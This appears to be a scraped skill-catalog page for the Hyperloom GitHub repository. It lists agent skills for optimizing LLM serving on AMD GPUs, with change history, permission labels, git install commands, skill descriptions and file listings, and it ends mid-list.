Not in the top 1,000 by GitHub stars
AMD-AGI/Hyperloom
An agentic system that auto-optimizes LLM workloads on AMD GPUs.
History
Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.
View weekly changes
docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
examples/hyperloom-custom-advanced/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
a646a9c14c82 → e90e84836819
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
examples/hyperloom-qwen3-14b-fp8-12h/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
a646a9c14c82 → e90e84836819
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
examples/hyperloom-qwen3-14b-fp8-12h-forge/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
a646a9c14c82 → e90e84836819
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
examples/hyperloom-qwen3-8b-3h/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
a646a9c14c82 → e90e84836819
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
examples/skills/hyperloom-workload-optimizer/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Instructions only
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom/agents/critic/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom/agents/quantization/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom/inference_optimizer/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom/inference_optimizer/breakdown/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Local scripts
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom/inference_optimizer/multi_node/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom/skills/hyperloom-setup/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
A local comparison is unavailable. You can inspect the recorded versions on GitHub.
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/campaign-archive/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/dashboard/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/dossier/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/hardware/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/kernels/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Network or broad shell
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/knowledge-collector/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/merge-optimization-trees/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Local scripts
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/plan/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/profiler/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/realtime-collector/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_arbor/.claude/skills/serving-playbook/SKILL.md
Week of Nov 2, 2026 · Line counts unavailable
Before Not checked yet → After Instructions only
First observation → e90e84836819
No earlier version was observed for comparison.
src/hyperloom_kb/skills/hyperloom-kb/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
src/kernelforge/knowledge/local_wiki/resources/languages/flydsl/skills/profile/kernel-trace-analysis/SKILL.md
Week of Nov 2, 2026 · +0 / −0 lines
Before Not checked yet → After Network or broad shell
a646a9c14c82 → e90e84836819
Diff text is unavailable under the recorded licenses. Line counts and the GitHub link remain available.
Week of Oct 26, 2026 · Line counts unavailable
Before Not checked yet → After Not checked yet
First observation → a646a9c14c82
No earlier version was observed for comparison.
Verified commit e90e8483681992cc4a51a73bb1a4751ea0d2d8eb
git clone --filter=blob:none --no-checkout https://github.com/AMD-AGI/Hyperloom.git .hotskills/amd-agi-hyperloom && git -C .hotskills/amd-agi-hyperloom checkout --detach e90e8483681992cc4a51a73bb1a4751ea0d2d8eb
# Copy each selected skill directory from .hotskills/amd-agi-hyperloom into .claude/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/AMD-AGI/Hyperloom.git .hotskills/amd-agi-hyperloom && git -C .hotskills/amd-agi-hyperloom checkout --detach e90e8483681992cc4a51a73bb1a4751ea0d2d8eb
# Copy each selected skill directory from .hotskills/amd-agi-hyperloom into .agents/skills/<skill-name>/git clone --filter=blob:none --no-checkout https://github.com/AMD-AGI/Hyperloom.git .hotskills/amd-agi-hyperloom && git -C .hotskills/amd-agi-hyperloom checkout --detach e90e8483681992cc4a51a73bb1a4751ea0d2d8eb
# Copy each selected skill directory from .hotskills/amd-agi-hyperloom into .github/skills/<skill-name>/Heat
7.1- Star growth, last 7 daysNot available
- Star growth, last 24 hoursNot available
- Rank movement, last 7 daysNot available
- Commits, last 30 daysNot available
- Accounts asking about it through MCP, last 7 daysNot available
- Hot votes this weekNot available
Heat never changes the order by stars, and sponsorship never touches it. How heat works
Stars over time
30-day change not yet available: not enough history.
Individual skills in this repository
- hyperloom-remote-mn-qwen3-30b
docs/how-to/multi-node/hyperloom-remote-mn-qwen3-30b - hyperloom-custom-advanced
examples/hyperloom-custom-advanced - hyperloom-qwen3-14b-fp8-12h
examples/hyperloom-qwen3-14b-fp8-12h - hyperloom-qwen3-14b-fp8-12h-forge
examples/hyperloom-qwen3-14b-fp8-12h-forge - hyperloom-qwen3-8b-3h
examples/hyperloom-qwen3-8b-3h - hyperloom-workload-optimizer
examples/skills/hyperloom-workload-optimizer - critic-agent
src/hyperloom/agents/critic - quantization-agent
src/hyperloom/agents/quantization - inference_optimizer
src/hyperloom/inference_optimizer - session_breakdown
src/hyperloom/inference_optimizer/breakdown - hyperloom.inference_optimizer.multi_node
src/hyperloom/inference_optimizer/multi_node - hyperloom-setup
src/hyperloom/skills/hyperloom-setup - campaign-archive
src/hyperloom_arbor/.claude/skills/campaign-archive - dashboard
src/hyperloom_arbor/.claude/skills/dashboard - dossier
src/hyperloom_arbor/.claude/skills/dossier - geko-hipblaslt-tuning
src/hyperloom_arbor/.claude/skills/geko-hipblaslt-tuning - hardware
src/hyperloom_arbor/.claude/skills/hardware - kernels
src/hyperloom_arbor/.claude/skills/kernels - knowledge-collector
src/hyperloom_arbor/.claude/skills/knowledge-collector - merge-optimization-trees
src/hyperloom_arbor/.claude/skills/merge-optimization-trees - plan
src/hyperloom_arbor/.claude/skills/plan - profiler
src/hyperloom_arbor/.claude/skills/profiler - realtime-collector
src/hyperloom_arbor/.claude/skills/realtime-collector - serving-playbook
src/hyperloom_arbor/.claude/skills/serving-playbook - hyperloom-kb
src/hyperloom_kb/skills/hyperloom-kb - kernel-trace-analysis
src/kernelforge/knowledge/local_wiki/resources/languages/flydsl/skills/profile/kernel-trace-analysis
How it works
hyperloom-remote-mn-qwen3-30b
When your agent uses it
Run a 4-hour multi-node Hyperloom Qwen3-30B-A3B optimization (Infera PD-disaggregated or RayJob aggregated) with --nodes 2 and sglang MoE tuning on MI325X. Hand this skill to the agent to launch and monitor the run.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
2,164 tokensWhen the skill is activated
Reference documents
30,860 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Prerequisites
- Workload A — Infera + PD disaggregation
- Workload B — RayJob aggregated
- Run notes
Files
SKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytesSKILL.mdcore7,319 bytes../../../reference/multi-node.mddoc16,118 bytes../../../../src/hyperloom/inference_optimizer/SKILL.mddoc104,210 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-custom-advanced
When your agent uses it
Run an advanced configurable Hyperloom optimization session with explicit model, framework, workload, objective, and phase toggles. Use when the user wants more control than the fixed 3h or 12h demo presets.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
5,780 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Setup Configuration
- Advanced Configuration
- Default Values
- Model Resolution
- Pre-launch Runtime Install
- Launch Command Template
- User-visible Progress
- Launch Requirements
Files
SKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytesSKILL.mdcore21,765 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-qwen3-14b-fp8-12h
When your agent uses it
Run a 12-hour Hyperloom Qwen3-14B-FP8 optimization session on SGLang, vLLM or ATOM. Use when the user wants a medium-length Hyperloom demo on the local AMD ROCm environment.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
5,982 tokensWhen the skill is activated
Reference documents
3,817 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Shell
- Run Mode
- Environment
- Pre-launch Runtime Install
- User-visible Progress
- Launch Requirements
- ATOM
Files
../hyperloom-qwen3-14b-fp8-12h-forge/SKILL.mddoc15,074 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytesSKILL.mdcore23,870 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-qwen3-14b-fp8-12h-forge
When your agent uses it
Run a 12-hour Hyperloom Qwen3-14B-FP8 optimization session on SGLang, vLLM or ATOM with the per-kernel KernelForge backend instead of GEAK. Use when the user wants the medium-length Hyperloom demo and has asked for the forge kernel backend.
What it loads into context
Frontmatter
83 tokensAlways available to the agent
SKILL.md
3,817 tokensWhen the skill is activated
Reference documents
5,982 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Shell
- Kernel Backend
- Run Mode
- Environment
- Pre-launch Runtime Install
- User-visible Progress
- Launch Requirements
- ATOM
Files
SKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytesSKILL.mdcore15,074 bytes../hyperloom-qwen3-14b-fp8-12h/SKILL.mddoc23,870 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-qwen3-8b-3h
When your agent uses it
Run a 3-hour Hyperloom Qwen3-8B FRAMEWORK_AGENT (OPTIMIZE) session without the Kernel Agent. Use when the user wants a short, framework-only Hyperloom demo on the local AMD ROCm environment.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
3,190 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Execution Shell
- Run Mode
- Environment
- Pre-launch Runtime Install
- User-visible Progress
- Launch Requirements
Files
SKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytesSKILL.mdcore12,517 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhyperloom-workload-optimizer
When your agent uses it
Autonomously optimizes end-to-end LLM inference throughput on AMD Instinct GPUs and reports a validated gain, using the Hyperloom multi-agent optimizer. Given a model, framework, workload (TP/EP, concurrency, ISL/OSL, precision), an objective and a time budget, it explores per-workload which levers to pull (serving/config parameters and env, framework enablement and source patches, and hot GPU-kernel rewrites), benchmarks each candidate, and returns the optimization stack that produced the gain. Use when the user wants to make a model serve faster, raise tokens/sec or throughput, optimize or tune vLLM or SGLang on MI300X/MI325X/MI355X, run Hyperloom, run the kernel-agent, quantize-then-optimize with Quark, set up Hyperloom from scratch, or resume a Hyperloom session. Do not use to stand up a server for plain serving, diagnose a broken ROCm install, or run a one-off kernel/benchmark or trace analysis without the optimization loop.
What it loads into context
Frontmatter
251 tokensAlways available to the agent
SKILL.md
1,650 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Out of scope for this skill
- Prerequisites
- Step 1: Confirm the workspace
- Step 2: Install the Hyperloom wheel
- Step 3: Run `/hyperloom-setup`
- Step 4: Hand off to a run skill
- What to expect during a run
- Troubleshooting
Files
SKILL.mdcore6,765 bytesSKILL.mdcore6,765 bytesSKILL.mdcore6,765 bytesevals/evals.jsonasset4,360 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcritic-agent
When your agent uses it
Critic layer for the inference optimizer. Use when Conductor asks for a Critic Review verdict on Orchestration or Kernel proposals, KB recall guidance, cross-run synthesis, or Devil's advocate review signals.
What it loads into context
Frontmatter
104 tokensAlways available to the agent
SKILL.md
2,991 tokensWhen the skill is activated
Reference documents
6,220 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Mission
- Two-Phase Loop
- Inbox Review
- Review Constraints
- Action Classes
- Hard Rules
- Approve Standard
Scripts executed separately
__init__.pyruntime/__init__.pyruntime/cli.pyruntime/dead_letter.pyruntime/decision_reviewer.pyruntime/errors.pyruntime/importance_mapping.pyruntime/in_memory_kb_client.pyruntime/inbox_parser.pyruntime/intent_envelope.pyruntime/kb_client.pyruntime/kb_writer.pyruntime/request_models.pyruntime/scope_builder.pyruntime/session_memory.pyruntime/slugify.pyruntime/tests/conftest.pyruntime/tests/test_cli.pyruntime/tests/test_critic_utils.pyruntime/tests/test_dead_letter.pyruntime/tests/test_decision_reviewer.pyruntime/tests/test_in_memory_kb_client.pyruntime/tests/test_intent_envelope.pyruntime/tests/test_kb_client_http_unit.pyruntime/tests/test_kb_request.pyruntime/tests/test_kb_writer.pyruntime/tests/test_mappings.pyruntime/tests/test_request_models.pyruntime/tests/test_scope_builder.pyruntime/tests/test_session_memory.pyruntime/tests/test_session_memory_units.pyruntime/tests/test_slugify.py
Files
.gitignoreasset80 bytesREADME.mddoc4,294 bytesSKILL.mdcore12,665 bytesSKILL.mdcore12,665 bytes__init__.pyruns156 bytesactions/review_coordinator_inbox.mddoc5,530 bytesactions/review_patch.mddoc4,752 bytesreferences/coordinator_protocol.mddoc2,749 bytesreferences/intent_envelope.mddoc1,787 bytesreferences/risk_rules.mddoc3,126 bytesreferences/verdict_schema.mddoc3,605 bytesruntime/__init__.pyruns223 bytesruntime/cli.pyruns4,486 bytesruntime/dead_letter.pyruns4,893 bytesruntime/decision_reviewer.pyruns20,529 bytesruntime/errors.pyruns1,793 bytesruntime/importance_mapping.pyruns1,370 bytesruntime/in_memory_kb_client.pyruns5,909 bytesruntime/inbox_parser.pyruns5,272 bytesruntime/intent_envelope.pyruns6,041 bytesruntime/kb_client.pyruns4,946 bytesruntime/kb_writer.pyruns10,124 bytesruntime/request_models.pyruns5,517 bytesruntime/scope_builder.pyruns4,516 bytesruntime/session_memory.pyruns8,948 bytesruntime/slugify.pyruns2,277 bytesruntime/tests/conftest.pyruns447 bytesruntime/tests/fixtures/slugify-golden.jsonasset931 bytesruntime/tests/test_cli.pyruns5,056 bytesruntime/tests/test_critic_utils.pyruns3,979 bytesruntime/tests/test_dead_letter.pyruns2,921 bytesruntime/tests/test_decision_reviewer.pyruns26,830 bytesruntime/tests/test_in_memory_kb_client.pyruns2,793 bytesruntime/tests/test_intent_envelope.pyruns5,054 bytesruntime/tests/test_kb_client_http_unit.pyruns5,526 bytesruntime/tests/test_kb_request.pyruns3,203 bytesruntime/tests/test_kb_writer.pyruns14,078 bytesruntime/tests/test_mappings.pyruns1,021 bytesruntime/tests/test_request_models.pyruns3,545 bytesruntime/tests/test_scope_builder.pyruns3,849 bytesruntime/tests/test_session_memory.pyruns4,874 bytesruntime/tests/test_session_memory_units.pyruns4,132 bytesruntime/tests/test_slugify.pyruns2,327 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubquantization-agent
When your agent uses it
Hyperloom sub-agent that drives the AMD Quark PTQ skill chain end-to-end from a natural-language prompt. Produces a HuggingFace-format quantized model directory plus a structured assessment of every artifact that the Quark workflow + validator + llm-eval skills emit. Single public entry: `quantize_via_prompt(prompt, *, workspace, options=QuantSkillRunOptions(), runner_fn=None, log=None)`.
What it loads into context
Frontmatter
175 tokensAlways available to the agent
SKILL.md
4,373 tokensWhen the skill is activated
Reference documents
2,030 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 1. Purpose & boundary
- 2. Inputs you receive
- 3. Phase sequence
- 4. Checkpoint protocol (Quark CRITICAL STOPs)
- 5. Eval flow (the part Quark doesn't do for you)
- 6. Auto-recover catalog (13 in-session fixes)
- 7. Auto-fail catalog (10 hard stops)
- 8. Ask + #30 diagnose-fix-retry protocol
- 9. Workspace file conventions
- 10. Self-check before declaring success
Scripts executed separately
__init__.pycli.pydriver/__init__.pydriver/assessment.pydriver/eval.pydriver/outcomes.pydriver/result_collector.pydriver/retry.pydriver/runner.pytests/__init__.pytests/conftest.pytests/test_assessment.pytests/test_assessment_classifier.pytests/test_eval.pytests/test_outcomes.pytests/test_result_collector.pytests/test_retry.pytests/test_retry_loop.pytests/test_runner.pytests/test_runner_collector.py
Files
README.mddoc8,798 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytesSKILL.mdcore16,564 bytes__init__.pyruns244 bytescli.pyruns3,778 bytesdriver/__init__.pyruns54 bytesdriver/assessment.pyruns12,226 bytesdriver/eval.pyruns2,622 bytesdriver/outcomes.pyruns6,109 bytesdriver/result_collector.pyruns7,304 bytesdriver/retry.pyruns11,581 bytesdriver/runner.pyruns11,969 bytestests/__init__.pyruns0 bytestests/conftest.pyruns8,365 bytestests/test_assessment.pyruns3,920 bytestests/test_assessment_classifier.pyruns18,414 bytestests/test_eval.pyruns4,856 bytestests/test_outcomes.pyruns3,638 bytestests/test_result_collector.pyruns6,060 bytestests/test_retry.pyruns2,529 bytestests/test_retry_loop.pyruns37,441 bytestests/test_runner.pyruns11,983 bytestests/test_runner_collector.pyruns6,873 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubinference_optimizer
When your agent uses it
Launches and monitors Hyperloom's multi-agent inference optimizer for LLM serving on AMD GPUs. Use when the user asks to optimize an inference model, run Magpie benchmarks/profiles, resume an inference_optimizer session, tune SGLang/vLLM serving parameters, run TraceLens/kernel-agent, or validate end-to-end throughput gains in a new inference environment.
What it loads into context
Frontmatter
157 tokensAlways available to the agent
SKILL.md
26,507 tokensWhen the skill is activated
Reference documents
25,857 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What This Skill Runs
- Iron Rules
- Retired modules and rules (do not re-introduce)
- Setup
- Portable Preflight
- Benchmark Config
- Critic Backend Selection
- Framework Selection
- Enablement Targeted Builds
- GPU Runner Type
- SGLang Parameter Search
- Launch a New Optimization
- Hosted Run (`hyperloom hosted run`)
- Resume Existing Session
- Monitoring
- Expected Flow
- Cache Topology & Cold-start Discipline
- Kernel Apply Safety
- Kernel E2E Retry Discipline
- Failure Handling
- Report Back To User
Scripts executed separately
__init__.pyactions/__init__.pyagentx/__init__.pyagentx/deploy.pyagentx/geak_proxy.pyagentx/mapping.pyagentx/preflight.pyagentx/report.pyagentx/runtime.pyassets/agentx/map_mlperf.pyassets/agentx/mlperf_agentic_client.shassets/check_magpie.pyassets/configs/baseline_sglang.yamlassets/host_probe/hl_host_probe.pyassets/host_probe/sitecustomize.pyassets/install.shassets/install_baremetal.shassets/install_kernel_tools.shassets/local_setup.shassets/preflight_kb.shassets/quick-start/Dockerfileassets/quick-start/check_env.shassets/quick-start/setup_env.shassets/ray_cli_smoke.pyassets/runtime_env.shassets/setup_env.sh.exampleassets/slurm/_incontainer.sh.inassets/slurm/run_hyperloom.sbatchassets/slurm/submit-vultr.shassets/slurm/submit.shbaseline_comparison/__init__.pybaseline_comparison/inferencex_client.pybaseline_comparison/research_hints.pybaseline_comparison/target_analyzer.pybaseline_comparison/types.pycanonical_fingerprint.pycli/__init__.pycli/backends.pycli/benchmark_config.pycli/bootstrap.pycli/constraint_args.pycli/credentials.pycli/custom_specialist.pycli/device_init.pycli/executors.pycli/framework_probe.pycli/geak_binaries.pycli/gpu_power_apply.pycli/gpu_power_args.pycli/ir3_probe.pycli/kb.pycli/launch_shape.pycli/lineup_banners.pycli/model_catalog.pycli/model_gate.pycli/multi_node.pycli/optimize_args.pycli/parser.pycli/preflight.pycli/preflight_env.pycli/quantization.pycli/recover.pycli/server_args.pycli/session_target.pycli/stack_dump.pyexperience_collect.pyexperience_kb.pyexperience_kb_service.pyframework_paths.pyframework_registry.pygpu_types.pygrading.pygrid_server_args.pyinferencex_checkout.pymodel_config_utils.pyprotocol/__init__.pyprotocol/action_surfaces.pyprotocol/intent.pyrecipe_snapshot_constants.pyreference_script.pyroofline_ceiling.pyroofline_snapshot.pyruntime_environment.pysession/__init__.pysession/coordinator_db.pysession/geak_rebench_verdict.pysession/lock.pysession/manifest.pysession/optimization_journal.pysession/paths.pysession/resume_guard.pysession/sbd_v6.pysession/session_binding.pysession/session_paths.pysetup.pyspeculative_capability.pytests/__init__.pytests/_baseline_fakes.pytests/_dispatch_helpers.pytests/_geak_helpers.pytests/_kernel_tools_harness.pytests/_optimize_fixtures.pytests/_sglang_gc_patch_tree.pytests/_workload_envs_helpers.pytests/conftest.pytests/fixtures/sglang_kernel_layouts/legacy/sgl-kernel/setup_rocm.pytests/fixtures/sglang_kernel_layouts/v0517_aot/python/sglang/kernels/aot/setup_rocm.pytests/test_accuracy_gate_units.pytests/test_accuracy_keep_gate.pytests/test_agent_kb.pytests/test_agent_roles_and_policy.pytests/test_agentx_baseline_timeout.pytests/test_agentx_budget_and_guards.pytests/test_agentx_checkpoint.pytests/test_agentx_cli_config.pytests/test_agentx_context.pytests/test_agentx_context_and_eval.pytests/test_agentx_corpus_shape.pytests/test_agentx_deploy.pytests/test_agentx_launch_ownership_prompt.pytests/test_agentx_prefix_cache.pytests/test_agentx_rebaseline_timeout.pytests/test_agentx_report_requests.pytests/test_agentx_switch.pytests/test_agentx_timeline.pytests/test_agentx_variant_timeout.pytests/test_aiter_jit.pytests/test_aiter_jit_unit.pytests/test_aiter_moe_pin_filter.pytests/test_aiter_serving_once.pytests/test_anthropic_credential_registry.pytests/test_apply_feedback_unit.pytests/test_apply_gpu_power_settings.pytests/test_apply_tracelens_patch_multinode_gc.pytests/test_argv_refusal_round.pytests/test_atom_kernel_backend_default.pytests/test_auto_bench_proposals.pytests/test_backend_call_timeout_env.pytests/test_backend_gating.pytests/test_backfill_langfuse_unit.pytests/test_baremetal_doc_version_consistency.pytests/test_baseline_aiter_registry_preflight.pytests/test_baseline_anchor_interlock.pytests/test_baseline_comparison.pytests/test_baseline_comparison_gaps_unit.pytests/test_baseline_comparison_types.pytests/test_baseline_eval_rooted_failure.pytests/test_baseline_failure_summary.pytests/test_baseline_moe_runner_fallback.pytests/test_baseline_param_overrides.pytests/test_baseline_quality_ref_gate_unit.pytests/test_baseline_warmup_double_run.pytests/test_benchmark_result.pytests/test_benchmark_result_branches_unit.pytests/test_breakdown_assembler_compose.pytests/test_breakdown_event_base.pytests/test_breakdown_exporter_unit.pytests/test_breakdown_metadata_record.pytests/test_breakdown_recorder_no_subprocess_writers.pytests/test_breakdown_recorder_trace.pytests/test_breakdown_renderers.pytests/test_breakdown_report_integrity.pytests/test_bre